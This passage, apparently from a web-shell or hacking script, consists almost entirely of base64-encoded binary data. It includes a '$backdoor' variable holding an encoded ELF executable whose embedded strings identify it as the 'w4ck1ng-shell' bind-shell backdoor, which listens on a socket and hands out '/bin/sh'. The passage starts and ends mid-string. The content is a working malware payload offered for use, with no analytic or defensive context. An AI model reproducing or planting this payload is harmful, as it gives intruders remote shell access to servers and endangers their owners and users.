FBQUFBQklBQ2dCU0FRQUFBQUFBQUt3QkFBQVNBQUFBWkFFQUFOaUZCQWdBQUFBQUVnQU1BR3NCQUFBQUFBQUFyd0FBQUJJQUFBQjlBUUFBTEprRUNBQUFBQUFRQXZIL2tBRUFBQlNJQkFoU0FBQUFFZ0FNQUtBQkFBQUFBQUFBSndBQUFCSUFBQUMxQVFBQVpKb0VDQUFBQUFBUUFQSC93UUVBQUlDR0JBaVRBUUFBRWdBTUFNWUJBQUFBQUFBQTNRQUFBQklBQUFEakFRQUFMSmtFQ0FBQUFBQVFBdkgvOUFFQUFBQUFBQUE2QUFBQUVnQUFBQVFDQUFBQUFBQUFxZ0VBQUJJQUFBQVdBZ0FBV0pvRUNBQUFBQUFnQUJZQUlRSUFBTkNJQkFnQUFBQUFFZ0FOQUNjQ0FBQXNtUVFJQUFBQUFCQUM4Zjg3QWdBQUFBQUFBRFlBQUFBU0FBQUFUQUlBQUFBQUFBRFpBQUFBRWdBQUFGd0NBQUFBQUFBQUtBQUFBQklBQUFCc0FnQUFaSm9FQ0FBQUFBQVFBUEgvY3dJQUFBeWFCQWdBQUFBQUVRQVZBSWtDQUFCb21nUUlBQUFBQUJBQThmK09BZ0FBQUFBQUFBNEFBQUFTQUFBQW53SUFBQUFBQUFCNEFBQUFFZ0FBQUxJQ0FBQXNtUVFJQUFBQUFCQUM4Zi9GQWdBQThJZ0VDQVFBQUFBUkFBNEExQUlBQUZpYUJBZ0FBQUFBRUFBV0FPRUNBQUFBQUFBQU9RQUFBQklBQUFEekFnQUFBQUFBQUFBQUFBQWdBQUFBQndNQUFDeVpCQWdBQUFBQUVBTHgveDBEQUFBQUFBQUFBQUFBQUNBQUFBQUFZMkZzYkY5bmJXOXVYM04wWVhKMEFHTnlkSE4wZFdabUxtTUFYMTlEVkU5U1gweEpVMVJmWHdCZlgwUlVUMUpmVEVsVFZGOWZBRjlmU2tOU1gweEpVMVJmWHdCd0xqQUFZMjl0Y0d4bGRHVmtMakVBWDE5a2IxOW5iRzlpWVd4ZlpIUnZjbk5mWVhWNEFHWnlZVzFsWDJSMWJXMTVBRjlmUTFSUFVsOUZUa1JmWHdCZlgwUlVUMUpmUlU1RVgxOEFYMTlHVWtGTlJWOUZUa1JmWHdCZlgwcERVbDlGVGtSZlh3QmZYMlJ2WDJkc2IySmhiRjlqZEc5eWMxOWhkWGdBWW1GamF5NWpBR1Y0WldOc1FFQkhURWxDUTE4eUxqQUFYMFJaVGtGTlNVTUFZMnh2YzJWQVFFZE1TVUpEWHpJdU1BQmZabkJmYUhjQWNHVnljbTl5UUVCSFRFbENRMTh5TGpBQVgxOW1hVzVwWDJGeWNtRjVYMlZ1WkFCZlgyUnpiMTlvWVc1a2JHVUFYMTlzYVdKalgyTnpkVjltYVc1cEFITjVjM1JsYlVCQVIweEpRa05mTWk0d0FGOXBibWwwQUdSaFpXMXZia0JBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJ6ZEhKc1pXNUFRRWRNU1VKRFh6SXVNQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5c2FXSmpYMk56ZFY5cGJtbDBBR2x1WlhSZllXUmtja0JBUjB4SlFrTmZNaTR3QUY5ZlluTnpYM04wWVhKMEFHMWhhVzRBWDE5c2FXSmpYM04wWVhKMFgyMWhhVzVBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZaVzVrQUdSMWNESkFRRWRNU1VKRFh6SXVNQUJ6ZEhKallYUkFRRWRNU1VKRFh6SXVNQUJrWVhSaFgzTjBZWEowQUY5bWFXNXBBRjlmY0hKbGFXNXBkRjloY25KaGVWOWxibVFBWW5wbGNtOUFRRWRNU1VKRFh6SXVNQUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlIweFBRa0ZNWDA5R1JsTkZWRjlVUVVKTVJWOEFYMlZ1WkFCb2RHOXVjMEJBUjB4SlFrTmZNaTR3QUdOdmJtNWxZM1JBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZjM1JoY25RQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTl3Y21WcGJtbDBYMkZ5Y21GNVgzTjBZWEowQUY5ZloyMXZibDl6ZEdGeWRGOWZBQT09IjsNCiRiYWNrZG9vciA9ICJmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQW9JVUVDRFFBQUFENEVnQUFBQUFBQURRQUlBQUhBQ2dBSWdBZkFBWUFBQUEwQUFBQU5JQUVDRFNBQkFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUFFQUFBQUJBQUFBQUFBQUFBQ0FCQWdBZ0FRSXJBa0FBS3dKQUFBRkFBQUFBQkFBQUFFQUFBQ3NDUUFBckprRUNLeVpCQWcwQVFBQU9BRUFBQVlBQUFBQUVBQUFBZ0FBQU1BSkFBREFtUVFJd0prRUNNZ0FBQURJQUFBQUJnQUFBQVFBQUFBRUFBQUFLQUVBQUNpQkJBZ29nUVFJSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxc2FXNTFlQzV6Ynk0eUFBQUVBQUFBRUFBQUFBRUFBQUJIVGxVQUFBQUFBQUlBQUFBQ0FBQUFBQUFBQUJFQUFBQVRBQUFBQUFBQUFBQUFBQUFRQUFBQUVRQUFBQUFBQUFBQUFBQUFDUUFBQUFnQUFBQUZBQUFBQXdBQUFBMEFBQUFBQUFBQUFBQUFBQThBQUFBS0FBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUJBQUFBQUFBQUFBY0FBQUFMQUFBQUFBQUFBQVFBQUFBTUFBQUFEZ0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQzRBQUFBQUFBQUFkUUVBQUJJQUFBQ2dBQUFBQUFBQUFIRUFBQUFTQUFBQU5BQUFBQUFBQUFETUFBQUFFZ0FBQUdvQUFBQUFBQUFBV2dBQUFCSUFBQUJNQUFBQUFBQUFBSGdBQUFBU0FBQUFZd0FBQUFBQUFBQTVBQUFBRWdBQUFGZ0FBQUFBQUFBQU9RQUFBQklBQUFDT0FBQUFBQUFBQU9ZQUFBQVNBQUFBT3dBQUFBQUFBQUE2QUFBQUVnQUFBRk1BQUFBQUFBQUFPUUFBQUJJQUFBQjFBQUFBQUFBQUFMa0FBQUFTQUFBQWVnQUFBQUFBQUFBckFBQUFFZ0FBQUVjQUFBQUFBQUFBZUFBQUFCSUFBQUJ2QUFBQUFBQUFBQTRBQUFBU0FBQUFmd0FBQUVpSkJBZ0VBQUFBRVFBT0FFQUFBQUFBQUFBQU9RQUFBQklBQUFBQkFBQUFBQUFBQUFBQUFBQWdBQUFBRlFBQUFBQUFBQUFBQUFBQUlBQUFBQUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6QUY5ZloyMXZibDl6ZEdGeWRGOWZBR3hwWW1NdWMyOHVOZ0JsZUdWamJBQndaWEp5YjNJQVpIVndNZ0J6YjJOclpYUUFjMlZ1WkFCaFkyTmxjSFFBWW1sdVpBQnpaWFJ6YjJOcmIzQjBBR3hwYzNSbGJnQm1iM0pyQUdoMGIyNXpBR1Y0YVhRQVlYUnZhUUJmU1U5ZmMzUmthVzVmZFhObFpBQmZYMnhwWW1OZmMzUmhjblJmYldGcGJnQmpiRzl6WlFCSFRFbENRMTh5TGpBQUFBQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBUUFDQUFBQUFBQUFBQUVBQVFBa0FBQUFFQUFBQUFBQUFBQVFhV2tOQUFBQ0FLWUFBQUFBQUFBQWlKb0VDQVlTQUFDWW1nUUlCd0VBQUp5YUJBZ0hBZ0FBb0pvRUNBY0RBQUNrbWdRSUJ3UUFBS2lhQkFnSEJRQUFySm9FQ0FjR0FBQ3dtZ1FJQndjQUFMU2FCQWdIQ0FBQXVKb0VDQWNKQUFDOG1nUUlCd29BQU1DYUJBZ0hDd0FBeEpvRUNBY01BQURJbWdRSUJ3MEFBTXlhQkFnSERnQUEwSm9FQ0FjUUFBQlZpZVdEN0Fqb01RRUFBT2lEQVFBQTZGc0VBQURKd3dEL05aQ2FCQWovSlpTYUJBZ0FBQUFBL3lXWW1nUUlhQUFBQUFEcDRQLy8vLzhsbkpvRUNHZ0lBQUFBNmRELy8vLy9KYUNhQkFob0VBQUFBT25BLy8vLy95V2ttZ1FJYUJnQUFBRHBzUC8vLy84bHFKb0VDR2dnQUFBQTZhRC8vLy8vSmF5YUJBaG9LQUFBQU9tUS8vLy8veVd3bWdRSWFEQUFBQURwZ1AvLy8vOGx0Sm9FQ0dnNEFBQUE2WEQvLy8vL0piaWFCQWhvUUFBQUFPbGcvLy8vL3lXOG1nUUlhRWdBQUFEcFVQLy8vLzhsd0pvRUNHaFFBQUFBNlVELy8vLy9KY1NhQkFob1dBQUFBT2t3Ly8vLy95WEltZ1FJYUdBQUFBRHBJUC8vLy84bHpKb0VDR2hvQUFBQTZSRC8vLy8vSmRDYUJBaG9jQUFBQU9rQS8vLy9NZTFlaWVHRDVQQlFWRkpvcllnRUNHaGNpQVFJVVZab1FJWUVDT2hmLy8vLzlKQ1FWWW5sVStnYkFBQUFnY08vRkFBQWcrd0VpNFA4Ly8vL2hjQjBBdi9RZzhRRVcxM0RpeHdrdzFXSjVZUHNDSUE5NEpvRUNBQjBET3NjZzhBRW85eWFCQWovMHFIY21nUUlpeENGMG5YcnhnWGdtZ1FJQWNuRFZZbmxnK3dJb2J5WkJBaUZ3SFFTdUFBQUFBQ0Z3SFFKeHdRa3ZKa0VDUC9ReWNPUWtGV0o1VmVEN0dTRDVQQzRBQUFBQUlQQUQ0UEFEOEhvQk1IZ0JDbkV4MFhrQVFBQUFNZEYrRXlKQkFqSFJDUUlBQUFBQU1kRUpBUUJBQUFBeHdRa0FnQUFBT2dKLy8vL2lVWHdnMzN3QUhrWXh3UWtqSWtFQ09nMC92Ly94d1FrQVFBQUFPaW8vdi8vWnNkRjFBSUF4MFhZQUFBQUFJdEZESVBBQklzQWlRUWs2SnYrLy84UHQ4Q0pCQ1Rvc1A3Ly8yYUpSZGJIUkNRUUJBQUFBSTFGNUlsRUpBekhSQ1FJQWdBQUFNZEVKQVFCQUFBQWkwWHdpUVFrNkJMKy8vK05SZFRIUkNRSUVBQUFBSWxFSkFTTFJmQ0pCQ1RvS1A3Ly80WEFlUmpIQkNTVGlRUUk2S2o5Ly8vSEJDUUJBQUFBNkJ6Ky8vL0hSQ1FFQ0FBQUFJdEY4SWtFSk9pNS9mLy9oY0I1R01jRUpKaUpCQWpvZWYzLy84Y0VKQUVBQUFEbzdmMy8vOGRGNkJBQUFBQ05SZWlOVmNTSlJDUUlpVlFrQkl0RjhJa0VKT2h0L2YvL2lVWDBnMzMwQUhrTXh3UWtqSWtFQ09nNC9mLy82RVA5Ly8rRndBK0Vwd0FBQUl0RitMbi8vLy8vaVVXNHVBQUFBQUQ4aTMyNDhxNkp5UGZRZytnQngwUWtEQUFBQUFDSlJDUUlpMFg0aVVRa0JJdEY5SWtFSk9pUS9mLy94MFFrQkFBQUFBQ0xSZlNKQkNUb1BmMy8vOGRFSkFRQkFBQUFpMFgwaVFRazZDcjkvLy9IUkNRRUFnQUFBSXRGOUlrRUpPZ1gvZi8veDBRa0NBQUFBQURIUkNRRW40a0VDTWNFSkorSkJBam9lL3ovLzR0RjhJa0VKT2lBL1AvL3h3UWtBQUFBQU9nRS9mLy9pMFgwaVFRazZHbjgvLy9wRHYvLy8xV0o1VmRXTWZaVDZILzkvLytCd3lNU0FBQ0Q3QXpvRWZ6Ly80MkRJUC8vLzQyVElQLy8vNGxGOENuUXdmZ0NPY1p6Rm9uWC94U3lpMFh3ZzhZQktmaUorc0g0QWpuR2N1eUR4QXhiWGw5ZHcxV0o1WVBzR0lsZDlPZ3QvZi8vZ2NQUkVRQUFpWFg0aVgzOGpiTWcvLy8vamJzZy8vLy9LZjdCL2dMckEvOFV0NFB1QVlQKy8zWDE2RG9BQUFDTFhmU0xkZmlMZmZ5SjdGM0RrRldKNVZPRDdBU2hySmtFQ0lQNC8zUVN1NnlaQkFqLzBJdEQvSVByQklQNC8zWHpnOFFFVzEzRGtKQ1FWWW5sVStpNy9QLy9nY05mRVFBQWcrd0U2TEg4Ly8rRHhBUmJYY01BQUFBREFBQUFBUUFDQURvNklIYzBZMnN4Ym1jdGMyaGxiR3dnS0ZCeWFYWmhkR1VnUW5WcGJHUWdkakF1TXlrZ1ltbHVaQ0J6YUdWc2JDQmlZV05yWkc5dmNpQTZPaUFLQ2dCemIyTnJaWFFBWW1sdVpBQnNhWE4wWlc0QUwySnBiaTl6YUFBQUFBQUFBUC8vLy84QUFBQUEvLy8vL3dBQUFBQUFBQUFBQVFBQUFDUUFBQUFNQUFBQWlJUUVDQTBBQUFBa2lRUUlCQUFBQUVpQkJBZ0ZBQUFBRUlNRUNBWUFBQURnZ1FRSUNnQUFBTEFBQUFBTEFBQUFFQUFBQUJVQUFBQUFBQUFBQXdBQUFJeWFCQWdDQUFBQWVBQUFBQlFBQUFBUkFBQUFGd0FBQUJDRUJBZ1JBQUFBQ0lRRUNCSUFBQUFJQUFBQUV3QUFBQWdBQUFEKy8vOXY2SU1FQ1AvLy8yOEJBQUFBOFAvL2I4Q0RCQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3SmtFQ0FBQUFBQUFBQUFBdG9RRUNNYUVCQWpXaEFRSTVvUUVDUGFFQkFnR2hRUUlGb1VFQ0NhRkJBZzJoUVFJUm9VRUNGYUZCQWhtaFFRSWRvVUVDSWFGQkFpV2hRUUlBQUFBQUFBQUFBQzRtUVFJQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBQUFjQUFBQUFnQUFBQUFBQkFBQUFBQUFvSVVFQ0NJQUFBQUFBQUFBQUFBQUFEUUFBQUFDQUFzQkFBQUVBQUFBQUFEb2hRUUlCQUFBQUNTSkJBZ1NBQUFBaUlRRUNBc0FBQURFaFFRSUpBQUFBQUFBQUFBQUFBQUFMQUFBQUFJQW13RUFBQVFBQUFBQUFPaUZCQWdFQUFBQU80a0VDQVlBQUFDZGhBUUlBZ0FBQUFBQUFBQUFBQUFBSVFBQUFBSUFlZ0FBQUpFQUFBQjVBQUFBWDBsUFgzTjBaR2x1WDNWelpXUUFBQUFBQUhZQUFBQUNBQUFBQUFBRUFRQUFBQUNnaFFRSXdvVUVDQzR1TDNONWMyUmxjSE12YVRNNE5pOWxiR1l2YzNSaGNuUXVVd0F2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2WjJ4cFltTXRNaTR6TGpZdlkzTjFBRWRPVlNCQlV5QXlMakUyTGpreEFBR0FqUUFBQUFJQUZBQUFBQVFCV3dBQUFNU0ZCQWpFaFFRSVlnQUFBQUVBQUFBQUVRQUFBQUtRQUFBQUJBY0NWQUFBQUFFSUFwMEFBQUFDQndLTEFBQUFCQWNDVmdBQUFBRUdBZ2NBQUFBQ0JRTnBiblFBQkFVQ1JnQUFBQWdGQW9ZQUFBQUlCd0pMQUFBQUJBVUNrQUFBQUFRSEFsMEFBQUFCQmdTd0FBQUFBUm1MQUFBQUFRVURTSWtFQ0FWUEFBQUFBSXdBQUFBQ0FGWUFBQUFFQVlJQUFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnBMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnSXdBQUFBQ0FHWUFBQUFFQVM4QkFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnVMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnQUVSQUJBR0VRRVNBUU1JR3dnbENCTUZBQUFBQVJFQkVBWVNBUkVCSlE0VEN3TU9HdzRBQUFJa0FBTU9Dd3MrQ3dBQUF5UUFBd2dMQ3o0TEFBQUVOQUFERGpvTE93dEpFejhNQWdvQUFBVW1BRWtUQUFBQUFSRUFFQVlEQ0JzSUpRZ1RCUUFBQUFFUkFCQUdBd2diQ0NVSUV3VUFBQUJYQUFBQUFnQXlBQUFBQVFIN0RnMEFBUUVCQVFBQUFBRUFBQUV1TGk5emVYTmtaWEJ6TDJrek9EWXZaV3htQUFCemRHRnlkQzVUQUFFQUFBQUFCUUtnaFFRSUE4QUFBVE1oTkQwbElnTVlJRmxhSVNKY1d3SUJBQUVCSXdBQUFBSUFIUUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCQUdsdWFYUXVZd0FBQUFBQXFRQUFBQUlBVUFBQUFBRUIrdzROQUFFQkFRRUFBQUFCQUFBQkwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1VBQUdOeWRHa3VVd0FCQUFBQUFBVUM2SVVFQ0FQQUFBRTlBZ0VBQVFFQUJRSWtpUVFJQXk0QklTOGhXV2NDQXdBQkFRQUZBb2lFQkFnREh3RWhMejBDQlFBQkFRQUZBc1NGQkFnRENnRWhMeUZaWnoxbkx5OHdQU0VoQWdFQUFRR0lBQUFBQWdCUUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFFBQVkzSjBiaTVUQUFFQUFBQUFCUUxvaFFRSUF5RUJQUUlCQUFFQkFBVUNPNGtFQ0FNU0FUMGhJUUlCQUFFQkFBVUNuWVFFQ0FNSkFTRUNBUUFCQVdsdWFYUXVZd0J6YUc5eWRDQnBiblFBTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJzYjI1bklHeHZibWNnYVc1MEFIVnVjMmxuYm1Wa0lHTm9ZWElBUjA1VklFTWdNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBYkc5dVp5QnNiMjVuSUhWdWMybG5ibVZrSUdsdWRBQnphRzl5ZENCMWJuTnBaMjVsWkNCcGJuUUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFDNXplVzEwWVdJQUxuTjBjblJoWWdBdWMyaHpkSEowWVdJQUxtbHVkR1Z5Y0FBdWJtOTBaUzVCUWtrdGRHRm5BQzVvWVhOb0FDNWtlVzV6ZVcwQUxtUjVibk4wY2dBdVoyNTFMblpsY25OcGIyNEFMbWR1ZFM1MlpYSnphVzl1WDNJQUxuSmxiQzVrZVc0QUxuSmxiQzV3YkhRQUxtbHVhWFFBTG5SbGVIUUFMbVpwYm1rQUxuSnZaR0YwWVFBdVpXaGZabkpoYldVQUxtTjBiM0p6QUM1a2RHOXljd0F1YW1OeUFDNWtlVzVoYldsakFDNW5iM1FBTG1kdmRDNXdiSFFBTG1SaGRHRUFMbUp6Y3dBdVkyOXRiV1Z1ZEFBdVpHVmlkV2RmWVhKaGJtZGxjd0F1WkdWaWRXZGZjSFZpYm1GdFpYTUFMbVJsWW5WblgybHVabThBTG1SbFluVm5YMkZpWW5KbGRnQXVaR1ZpZFdkZmJHbHVaUUF1WkdWaWRXZGZjM1J5QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHd0FBQUFFQUFBQUNBQUFBRklFRUNCUUJBQUFUQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNNQUFBQUhBQUFBQWdBQUFDaUJCQWdvQVFBQUlBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQXhBQUFBQlFBQUFBSUFBQUJJZ1FRSVNBRUFBSmdBQUFBRUFBQUFBQUFBQUFRQUFBQUVBQUFBTndBQUFBc0FBQUFDQUFBQTRJRUVDT0FCQUFBd0FRQUFCUUFBQUFFQUFBQUVBQUFBRUFBQUFEOEFBQUFEQUFBQUFnQUFBQkNEQkFnUUF3QUFzQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUJIQUFBQS8vLy9id0lBQUFEQWd3UUl3QU1BQUNZQUFBQUVBQUFBQUFBQUFBSUFBQUFDQUFBQVZBQUFBUDcvLzI4Q0FBQUE2SU1FQ09nREFBQWdBQUFBQlFBQUFBRUFBQUFFQUFBQUFBQUFBR01BQUFBSkFBQUFBZ0FBQUFpRUJBZ0lCQUFBQ0FBQUFBUUFBQUFBQUFBQUJBQUFBQWdBQUFCc0FBQUFDUUFBQUFJQUFBQVFoQVFJRUFRQUFIZ0FBQUFFQUFBQUN3QUFBQVFBQUFBSUFBQUFkUUFBQUFFQUFBQUdBQUFBaUlRRUNJZ0VBQUFYQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUhBQUFBQUJBQUFBQmdBQUFLQ0VCQWlnQkFBQUFBRUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQjdBQUFBQVFBQUFBWUFBQUNnaFFRSW9BVUFBSVFEQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBZ1FBQUFBRUFBQUFHQUFBQUpJa0VDQ1FKQUFBZEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFJY0FBQUFCQUFBQUFnQUFBRVNKQkFoRUNRQUFZd0FBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNQQUFBQUFRQUFBQUlBQUFDb2lRUUlxQWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW1RQUFBQUVBQUFBREFBQUFySmtFQ0t3SkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS0FBQUFBQkFBQUFBd0FBQUxTWkJBaTBDUUFBQ0FBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDbkFBQUFBUUFBQUFNQUFBQzhtUVFJdkFrQUFBUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFyQUFBQUFZQUFBQURBQUFBd0prRUNNQUpBQURJQUFBQUJRQUFBQUFBQUFBRUFBQUFDQUFBQUxVQUFBQUJBQUFBQXdBQUFJaWFCQWlJQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQzZBQUFBQVFBQUFBTUFBQUNNbWdRSWpBb0FBRWdBQUFBQUFBQUFBQUFBQUFRQUFBQUVBQUFBd3dBQUFBRUFBQUFEQUFBQTFKb0VDTlFLQUFBTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNa0FBQUFJQUFBQUF3QUFBT0NhQkFqZ0NnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQURPQUFBQUFRQUFBQUFBQUFBQUFBQUE0QW9BQUNZQkFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQTF3QUFBQUVBQUFBQUFBQUFBQUFBQUFnTUFBQ0lBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBT1lBQUFBQkFBQUFBQUFBQUFBQUFBQ1FEQUFBSlFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFEMkFBQUFBUUFBQUFBQUFBQUFBQUFBdFF3QUFDc0NBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBZ0VBQUFFQUFBQUFBQUFBQUFBQUFPQU9BQUIyQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUJBQkFBQUJBQUFBQUFBQUFBQUFBQUJXRHdBQXV3RUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQWNBUUFBQVFBQUFEQUFBQUFBQUFBQUVSRUFBTDhBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBRVFBQUFBTUFBQUFBQUFBQUFBQUFBTkFSQUFBbkFRQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFCSUdBQUE4QVVBQUNFQUFBQS9BQUFBQkFBQUFCQUFBQUFKQUFBQUF3QUFBQUFBQUFBQUFBQUFPQjRBQUxJREFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVVnUVFJQUFBQUFBTUFBUUFBQUFBQUtJRUVDQUFBQUFBREFBSUFBQUFBQUVpQkJBZ0FBQUFBQXdBREFBQUFBQURnZ1FRSUFBQUFBQU1BQkFBQUFBQUFFSU1FQ0FBQUFBQURBQVVBQUFBQUFNQ0RCQWdBQUFBQUF3QUdBQUFBQUFEb2d3UUlBQUFBQUFNQUJ3QUFBQUFBQ0lRRUNBQUFBQUFEQUFnQUFBQUFBQkNFQkFnQUFBQUFBd0FKQUFBQUFBQ0loQVFJQUFBQUFBTUFDZ0FBQUFBQW9JUUVDQUFBQUFBREFBc0FBQUFBQUtDRkJBZ0FBQUFBQXdBTUFBQUFBQUFraVFRSUFBQUFBQU1BRFFBQUFBQUFSSWtFQ0FBQUFBQURBQTRBQUFBQUFLaUpCQWdBQUFBQUF3QVBBQUFBQUFDc21RUUlBQUFBQUFNQUVBQUFBQUFBdEprRUNBQUFBQUFEQUJFQUFBQUFBTHlaQkFnQUFBQUFBd0FTQUFBQUFBREFtUVFJQUFBQUFBTUFFd0FBQUFBQWlKb0VDQUFBQUFBREFCUUFBQUFBQUl5YUJBZ0FBQUFBQXdBVkFBQUFBQURVbWdRSUFBQUFBQU1BRmdBQUFBQUE0Sm9FQ0FBQUFBQURBQmNBQUFBQUFBQUFBQUFBQUFBQUF3QVlBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFEQUJvQUFBQUFBQUFBQUFBQUFBQUFBd0FiQUFBQUFBQUFBQUFBQUFBQUFBTUFIQUFBQUFBQUFBQUFBQUFBQUFBREFCMEFBQUFBQUFBQUFBQUFBQUFBQXdBZUFBQUFBQUFBQUFBQUFBQUFBQU1BSHdBQUFBQUFBQUFBQUFBQUFBQURBQ0FBQUFBQUFBQUFBQUFBQUFBQUF3QWhBQUVBQUFBQUFBQUFBQUFBQUFRQThmOE1BQUFBQUFBQUFBQUFBQUFFQVBIL0tBQUFBQUFBQUFBQUFBQUFCQUR4L3k4QUFBQUFBQUFBQUFBQUFBUUE4Zjg2QUFBQUFBQUFBQUFBQUFBRUFQSC9kQUFBQU1TRkJBZ0FBQUFBQWdBTUFJUUFBQUFBQUFBQUFBQUFBQVFBOGYrUEFBQUFySmtFQ0FBQUFBQUJBQkFBblFBQUFMU1pCQWdBQUFBQUFRQVJBS3NBQUFDOG1RUUlBQUFBQUFFQUVnQzRBQUFBNEpvRUNBRUFBQUFCQUJjQXh3QUFBTnlhQkFnQUFBQUFBUUFXQU00QUFBRHNoUVFJQUFBQUFBSUFEQURrQUFBQUc0WUVDQUFBQUFBQ0FBd0FoQUFBQUFBQUFBQUFBQUFBQkFEeC8vQUFBQUN3bVFRSUFBQUFBQUVBRUFEOUFBQUF1SmtFQ0FBQUFBQUJBQkVBQ2dFQUFLaUpCQWdBQUFBQUFRQVBBQmdCQUFDOG1RUUlBQUFBQUFFQUVnQWtBUUFBK0lnRUNBQUFBQUFDQUF3QUx3QUFBQUFBQUFBQUFBQUFCQUR4L3pvQkFBQUFBQUFBQUFBQUFBUUE4ZjkwQVFBQUFBQUFBQUFBQUFBRUFQSC9lQUVBQU1DWkJBZ0FBQUFBQVFJVEFJRUJBQUNzbVFRSUFBQUFBQUFDOGYrU0FRQUFySmtFQ